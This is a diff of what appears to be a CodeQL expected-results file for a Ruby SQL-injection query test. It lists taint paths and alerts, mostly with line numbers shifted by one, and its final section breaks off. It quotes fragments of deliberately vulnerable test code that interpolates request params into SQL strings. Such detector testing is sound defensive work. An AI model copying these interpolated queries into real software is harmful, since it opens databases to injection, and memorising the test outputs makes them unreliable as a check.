ActiveRecordInjection.rb:211:69:211:94 | ...[...] | ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:216:24:216:27 | role | ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | provenance | AdditionalTaintStep | -| ActiveRecordInjection.rb:222:29:222:34 | call to params | ActiveRecordInjection.rb:222:29:222:41 | ...[...] | provenance | | -| ActiveRecordInjection.rb:222:29:222:41 | ...[...] | ActiveRecordInjection.rb:216:24:216:27 | role | provenance | | +| ActiveRecordInjection.rb:121:21:121:26 | call to params | ActiveRecordInjection.rb:121:21:121:35 | ...[...] | provenance | | +| ActiveRecordInjection.rb:122:20:122:25 | call to params | ActiveRecordInjection.rb:122:20:122:34 | ...[...] | provenance | | +| ActiveRecordInjection.rb:124:23:124:28 | call to params | ActiveRecordInjection.rb:124:23:124:47 | ...[...] | provenance | | +| ActiveRecordInjection.rb:128:19:128:24 | call to params | ActiveRecordInjection.rb:128:19:128:30 | ...[...] | provenance | | +| ActiveRecordInjection.rb:130:29:130:34 | call to params | ActiveRecordInjection.rb:130:29:130:39 | ...[...] | provenance | | +| ActiveRecordInjection.rb:136:5:136:6 | ps | ActiveRecordInjection.rb:137:11:137:12 | ps | provenance | | +| ActiveRecordInjection.rb:136:10:136:15 | call to params | ActiveRecordInjection.rb:136:5:136:6 | ps | provenance | | +| ActiveRecordInjection.rb:137:5:137:7 | uid | ActiveRecordInjection.rb:138:5:138:9 | uidEq : String | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:137:11:137:12 | ps | ActiveRecordInjection.rb:137:11:137:17 | ...[...] | provenance | | +| ActiveRecordInjection.rb:137:11:137:17 | ...[...] | ActiveRecordInjection.rb:137:5:137:7 | uid | provenance | | +| ActiveRecordInjection.rb:138:5:138:9 | uidEq : String | ActiveRecordInjection.rb:142:20:142:32 | ... + ... | provenance | | +| ActiveRecordInjection.rb:175:21:175:26 | call to params | ActiveRecordInjection.rb:175:21:175:44 | ...[...] | provenance | | +| ActiveRecordInjection.rb:175:21:175:26 | call to params | ActiveRecordInjection.rb:175:21:175:44 | ...[...] | provenance | | +| ActiveRecordInjection.rb:175:21:175:44 | ...[...] | ActiveRecordInjection.rb:27:22:27:30 | condition | provenance | | +| ActiveRecordInjection.rb:189:59:189:64 | call to params | ActiveRecordInjection.rb:189:59:189:74 | ...[...] | provenance | | +| ActiveRecordInjection.rb:189:59:189:74 | ...[...] | ActiveRecordInjection.rb:189:27:189:76 | "this is an unsafe annotation:..." | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:200:5:200:13 | my_params | ActiveRecordInjection.rb:201:47:201:55 | my_params | provenance | | +| ActiveRecordInjection.rb:200:17:200:32 | call to permitted_params | ActiveRecordInjection.rb:200:5:200:13 | my_params | provenance | | +| ActiveRecordInjection.rb:201:5:201:9 | query : String | ActiveRecordInjection.rb:202:37:202:41 | query | provenance | | +| ActiveRecordInjection.rb:201:47:201:55 | my_params | ActiveRecordInjection.rb:201:47:201:65 | ...[...] | provenance | | +| ActiveRecordInjection.rb:201:47:201:65 | ...[...] | ActiveRecordInjection.rb:201:5:201:9 | query : String | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:207:5:207:10 | call to params | ActiveRecordInjection.rb:207:5:207:27 | call to require | provenance | | +| ActiveRecordInjection.rb:207:5:207:27 | call to require | ActiveRecordInjection.rb:207:5:207:59 | call to permit | provenance | | +| ActiveRecordInjection.rb:207:5:207:59 | call to permit | ActiveRecordInjection.rb:200:17:200:32 | call to permitted_params | provenance | | +| ActiveRecordInjection.rb:207:5:207:59 | call to permit | ActiveRecordInjection.rb:211:77:211:92 | call to permitted_params | provenance | | +| ActiveRecordInjection.rb:207:5:207:59 | call to permit | ActiveRecordInjection.rb:212:69:212:84 | call to permitted_params | provenance | | +| ActiveRecordInjection.rb:211:77:211:92 | call to permitted_params | ActiveRecordInjection.rb:211:77:211:102 | ...[...] | provenance | | +| ActiveRecordInjection.rb:211:77:211:102 | ...[...] | ActiveRecordInjection.rb:211:43:211:104 | "SELECT * FROM users WHERE id ..." | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:212:69:212:84 | call to permitted_params | ActiveRecordInjection.rb:212:69:212:94 | ...[...] | provenance | | +| ActiveRecordInjection.rb:212:69:212:94 | ...[...] | ActiveRecordInjection.rb:212:35:212:96 | "SELECT * FROM users WHERE id ..." | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:217:24:217:27 | role | ActiveRecordInjection.rb:217:38:217:53 | "role = #{...}" | provenance | AdditionalTaintStep | +| ActiveRecordInjection.rb:223:29:223:34 | call to params | ActiveRecordInjection.rb:223:29:223:41 | ...[...] | provenance | | +| ActiveRecordInjection.rb:223:29:223:41 | ...[...] | ActiveRecordInjection.rb:217:24:217:27 | role | provenance | | | ArelInjection.rb:4:5:4:8 | name | ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | provenance | AdditionalTaintStep | | ArelInjection.rb:4:5:4:8 | name | ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | provenance | AdditionalTaintStep | | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:4:12:4:29 | ...[...] | provenance | | @@ -122,88 +171,88 @@ nodes | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | semmle.label | <<-SQL | | ActiveRecordInjection.rb:69:21:69:26 | call to params | semmle.label | call to params | | ActiveRecordInjection.rb:69:21:69:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | semmle.label | "user.id = '#{...}'" | -| ActiveRecordInjection.rb:75:34:75:39 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:75:34:75:44 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:77:23:77:28 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:77:23:77:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:77:38:77:43 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:77:38:77:50 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | semmle.label | "id = '#{...}'" | -| ActiveRecordInjection.rb:81:41:81:46 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:81:41:81:51 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:86:23:86:28 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:86:23:86:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:90:17:90:22 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:90:17:90:31 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:91:19:91:24 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:91:19:91:33 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:95:18:95:23 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:95:18:95:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:99:21:99:26 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:99:21:99:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | semmle.label | "name = '#{...}'" | -| ActiveRecordInjection.rb:107:31:107:36 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:107:31:107:52 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | semmle.label | "name = '#{...}'" | -| ActiveRecordInjection.rb:111:30:111:35 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:111:30:111:51 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:113:18:113:23 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:113:18:113:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:115:26:115:31 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:115:26:115:40 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:116:28:116:33 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:116:28:116:42 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | semmle.label | "b #{...}" | -| ActiveRecordInjection.rb:117:30:117:35 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:117:30:117:47 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | semmle.label | "b #{...}" | -| ActiveRecordInjection.rb:118:32:118:37 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:118:32:118:49 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:119:21:119:26 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:119:21:119:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:76:20:76:47 | "user.id = '#{...}'" | semmle.label | "user.id = '#{...}'" | +| ActiveRecordInjection.rb:76:34:76:39 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:76:34:76:44 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:78:23:78:28 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:78:23:78:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:78:38:78:43 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:78:38:78:50 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:82:32:82:54 | "id = '#{...}'" | semmle.label | "id = '#{...}'" | +| ActiveRecordInjection.rb:82:41:82:46 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:82:41:82:51 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:87:23:87:28 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:87:23:87:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:91:17:91:22 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:91:17:91:31 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:92:19:92:24 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:92:19:92:33 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:96:18:96:23 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:96:18:96:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:100:21:100:26 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:100:21:100:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:108:20:108:55 | "name = '#{...}'" | semmle.label | "name = '#{...}'" | +| ActiveRecordInjection.rb:108:31:108:36 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:108:31:108:52 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:112:19:112:54 | "name = '#{...}'" | semmle.label | "name = '#{...}'" | +| ActiveRecordInjection.rb:112:30:112:35 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:112:30:112:51 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:114:18:114:23 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:114:18:114:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:116:26:116:31 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:116:26:116:40 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:117:28:117:33 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:117:28:117:42 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:118:25:118:49 | "b #{...}" | semmle.label | "b #{...}" | +| ActiveRecordInjection.rb:118:30:118:35 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:118:30:118:47 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:119:27:119:51 | "b #{...}" | semmle.label | "b #{...}" | +| ActiveRecordInjection.rb:119:32:119:37 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:119:32:119:49 | ...[...] | semmle.label | ...[...] | | ActiveRecordInjection.rb:120:21:120:26 | call to params | semmle.label | call to params | | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:121:20:121:25 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:121:20:121:34 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:123:23:123:28 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:123:23:123:47 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:127:19:127:24 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:127:19:127:30 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:129:29:129:34 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:129:29:129:39 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:135:5:135:6 | ps | semmle.label | ps | -| ActiveRecordInjection.rb:135:10:135:15 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:136:5:136:7 | uid | semmle.label | uid | -| ActiveRecordInjection.rb:136:11:136:12 | ps | semmle.label | ps | -| ActiveRecordInjection.rb:136:11:136:17 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:137:5:137:9 | uidEq : String | semmle.label | uidEq : String | -| ActiveRecordInjection.rb:141:20:141:32 | ... + ... | semmle.label | ... + ... | -| ActiveRecordInjection.rb:174:21:174:26 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | semmle.label | "this is an unsafe annotation:..." | -| ActiveRecordInjection.rb:188:59:188:64 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:188:59:188:74 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:199:5:199:13 | my_params | semmle.label | my_params | -| ActiveRecordInjection.rb:199:17:199:32 | call to permitted_params | semmle.label | call to permitted_params | -| ActiveRecordInjection.rb:200:5:200:9 | query : String | semmle.label | query : String | -| ActiveRecordInjection.rb:200:47:200:55 | my_params | semmle.label | my_params | -| ActiveRecordInjection.rb:200:47:200:65 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:201:37:201:41 | query | semmle.label | query | -| ActiveRecordInjection.rb:206:5:206:10 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:206:5:206:27 | call to require | semmle.label | call to require | -| ActiveRecordInjection.rb:206:5:206:59 | call to permit | semmle.label | call to permit | -| ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | semmle.label | "SELECT * FROM users WHERE id ..." | -| ActiveRecordInjection.rb:210:77:210:92 | call to permitted_params | semmle.label | call to permitted_params | -| ActiveRecordInjection.rb:210:77:210:102 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | semmle.label | "SELECT * FROM users WHERE id ..." | -| ActiveRecordInjection.rb:211:69:211:84 | call to permitted_params | semmle.label | call to permitted_params | -| ActiveRecordInjection.rb:211:69:211:94 | ...[...] | semmle.label | ...[...] | -| ActiveRecordInjection.rb:216:24:216:27 | role | semmle.label | role | -| ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | semmle.label | "role = #{...}" | -| ActiveRecordInjection.rb:222:29:222:34 | call to params | semmle.label | call to params | -| ActiveRecordInjection.rb:222:29:222:41 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:121:21:121:26 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:121:21:121:35 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:122:20:122:25 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:122:20:122:34 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:124:23:124:28 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:124:23:124:47 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:128:19:128:24 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:128:19:128:30 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:130:29:130:34 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:130:29:130:39 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:136:5:136:6 | ps | semmle.label | ps | +| ActiveRecordInjection.rb:136:10:136:15 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:137:5:137:7 | uid | semmle.label | uid | +| ActiveRecordInjection.rb:137:11:137:12 | ps | semmle.label | ps | +| ActiveRecordInjection.rb:137:11:137:17 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:138:5:138:9 | uidEq : String | semmle.label | uidEq : String | +| ActiveRecordInjection.rb:142:20:142:32 | ... + ... | semmle.label | ... + ... | +| ActiveRecordInjection.rb:175:21:175:26 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:175:21:175:44 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:175:21:175:44 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:189:27:189:76 | "this is an unsafe annotation:..." | semmle.label | "this is an unsafe annotation:..." | +| ActiveRecordInjection.rb:189:59:189:64 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:189:59:189:74 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:200:5:200:13 | my_params | semmle.label | my_params | +| ActiveRecordInjection.rb:200:17:200:32 | call to permitted_params | semmle.label | call to permitted_params | +| ActiveRecordInjection.rb:201:5:201:9 | query : String | semmle.label | query : String | +| ActiveRecordInjection.rb:201:47:201:55 | my_params | semmle.label | my_params | +| ActiveRecordInjection.rb:201:47:201:65 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:202:37:202:41 | query | semmle.label | query | +| ActiveRecordInjection.rb:207:5:207:10 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:207:5:207:27 | call to require | semmle.label | call to require | +| ActiveRecordInjection.rb:207:5:207:59 | call to permit | semmle.label | call to permit | +| ActiveRecordInjection.rb:211:43:211:104 | "SELECT * FROM users WHERE id ..." | semmle.label | "SELECT * FROM users WHERE id ..." | +| ActiveRecordInjection.rb:211:77:211:92 | call to permitted_params | semmle.label | call to permitted_params | +| ActiveRecordInjection.rb:211:77:211:102 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:212:35:212:96 | "SELECT * FROM users WHERE id ..." | semmle.label | "SELECT * FROM users WHERE id ..." | +| ActiveRecordInjection.rb:212:69:212:84 | call to permitted_params | semmle.label | call to permitted_params | +| ActiveRecordInjection.rb:212:69:212:94 | ...[...] | semmle.label | ...[...] | +| ActiveRecordInjection.rb:217:24:217:27 | role | semmle.label | role | +| ActiveRecordInjection.rb:217:38:217:53 | "role = #{...}" | semmle.label | "role = #{...}" | +| ActiveRecordInjection.rb:223:29:223:34 | call to params | semmle.label | call to params | +| ActiveRecordInjection.rb:223:29:223:41 | ...[...] | semmle.label | ...[...] | | ArelInjection.rb:4:5:4:8 | name | semmle.label | name | | ArelInjection.rb:4:12:4:17 | call to params | semmle.label | call to params | | ArelInjection.rb:4:12:4:29 | ...[...] | semmle.label | ...[...] | @@ -223,52 +272,3 @@ nodes | PgInjection.rb:43:5:43:8 | qry3 : String | semmle.label | qry3 : String | | PgInjection.rb:44:29:44:32 | qry3 | semmle.label | qry3 | subpaths -#select -| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | -| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | -| ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:30:16:30:24 | condition | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:30:16:30:24 | condition | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:42:30:42:44 | ...[...] | ActiveRecordInjection.rb:42:30:42:35 | call to params | ActiveRecordInjection.rb:42:30:42:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:42:30:42:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:46:18:46:32 | ...[...] | ActiveRecordInjection.rb:46:18:46:23 | call to params | ActiveRecordInjection.rb:46:18:46:32 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:46:18:46:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | ActiveRecordInjection.rb:50:29:50:34 | call to params | ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:50:29:50:34 | call to params | user-provided value | -| ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | ActiveRecordInjection.rb:55:30:55:35 | call to params | ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:55:30:55:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:59:21:59:45 | call to [] | ActiveRecordInjection.rb:59:31:59:36 | call to params | ActiveRecordInjection.rb:59:21:59:45 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:59:31:59:36 | call to params | user-provided value | -| ActiveRecordInjection.rb:64:22:64:46 | call to [] | ActiveRecordInjection.rb:64:32:64:37 | call to params | ActiveRecordInjection.rb:64:22:64:46 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:64:32:64:37 | call to params | user-provided value | -| ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | ActiveRecordInjection.rb:69:21:69:26 | call to params | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | This SQL query depends on a $@. | ActiveRecordInjection.rb:69:21:69:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | ActiveRecordInjection.rb:75:34:75:39 | call to params | ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:75:34:75:39 | call to params | user-provided value | -| ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | ActiveRecordInjection.rb:81:41:81:46 | call to params | ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:81:41:81:46 | call to params | user-provided value | -| ActiveRecordInjection.rb:86:23:86:35 | ...[...] | ActiveRecordInjection.rb:86:23:86:28 | call to params | ActiveRecordInjection.rb:86:23:86:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:86:23:86:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:90:17:90:31 | ...[...] | ActiveRecordInjection.rb:90:17:90:22 | call to params | ActiveRecordInjection.rb:90:17:90:31 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:90:17:90:22 | call to params | user-provided value | -| ActiveRecordInjection.rb:91:19:91:33 | ...[...] | ActiveRecordInjection.rb:91:19:91:24 | call to params | ActiveRecordInjection.rb:91:19:91:33 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:91:19:91:24 | call to params | user-provided value | -| ActiveRecordInjection.rb:95:18:95:35 | ...[...] | ActiveRecordInjection.rb:95:18:95:23 | call to params | ActiveRecordInjection.rb:95:18:95:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:95:18:95:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:99:21:99:35 | ...[...] | ActiveRecordInjection.rb:99:21:99:26 | call to params | ActiveRecordInjection.rb:99:21:99:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:99:21:99:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | ActiveRecordInjection.rb:107:31:107:36 | call to params | ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:107:31:107:36 | call to params | user-provided value | -| ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | ActiveRecordInjection.rb:111:30:111:35 | call to params | ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:111:30:111:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:113:18:113:35 | ...[...] | ActiveRecordInjection.rb:113:18:113:23 | call to params | ActiveRecordInjection.rb:113:18:113:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:113:18:113:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:115:26:115:40 | ...[...] | ActiveRecordInjection.rb:115:26:115:31 | call to params | ActiveRecordInjection.rb:115:26:115:40 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:115:26:115:31 | call to params | user-provided value | -| ActiveRecordInjection.rb:116:28:116:42 | ...[...] | ActiveRecordInjection.rb:116:28:116:33 | call to params | ActiveRecordInjection.rb:116:28:116:42 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:116:28:116:33 | call to params | user-provided value | -| ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | ActiveRecordInjection.rb:117:30:117:35 | call to params | ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:117:30:117:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | ActiveRecordInjection.rb:118:32:118:37 | call to params | ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:118:32:118:37 | call to params | user-provided value | -| ActiveRecordInjection.rb:119:21:119:35 | ...[...] | ActiveRecordInjection.rb:119:21:119:26 | call to params | ActiveRecordInjection.rb:119:21:119:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:119:21:119:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:120:21:120:35 | ...[...] | ActiveRecordInjection.rb:120:21:120:26 | call to params | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:120:21:120:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:121:20:121:34 | ...[...] | ActiveRecordInjection.rb:121:20:121:25 | call to params | ActiveRecordInjection.rb:121:20:121:34 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:121:20:121:25 | call to params | user-provided value | -| ActiveRecordInjection.rb:123:23:123:47 | ...[...] | ActiveRecordInjection.rb:123:23:123:28 | call to params | ActiveRecordInjection.rb:123:23:123:47 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:123:23:123:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:127:19:127:30 | ...[...] | ActiveRecordInjection.rb:127:19:127:24 | call to params | ActiveRecordInjection.rb:127:19:127:30 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:127:19:127:24 | call to params | user-provided value | -| ActiveRecordInjection.rb:129:29:129:39 | ...[...] | ActiveRecordInjection.rb:129:29:129:34 | call to params | ActiveRecordInjection.rb:129:29:129:39 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:129:29:129:34 | call to params | user-provided value | -| ActiveRecordInjection.rb:141:20:141:32 | ... + ... | ActiveRecordInjection.rb:135:10:135:15 | call to params | ActiveRecordInjection.rb:141:20:141:32 | ... + ... | This SQL query depends on a $@. | ActiveRecordInjection.rb:135:10:135:15 | call to params | user-provided value | -| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:174:21:174:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | ActiveRecordInjection.rb:188:59:188:64 | call to params | ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:188:59:188:64 | call to params | user-provided value | -| ActiveRecordInjection.rb:201:37:201:41 | query | ActiveRecordInjection.rb:206:5:206:10 | call to params | 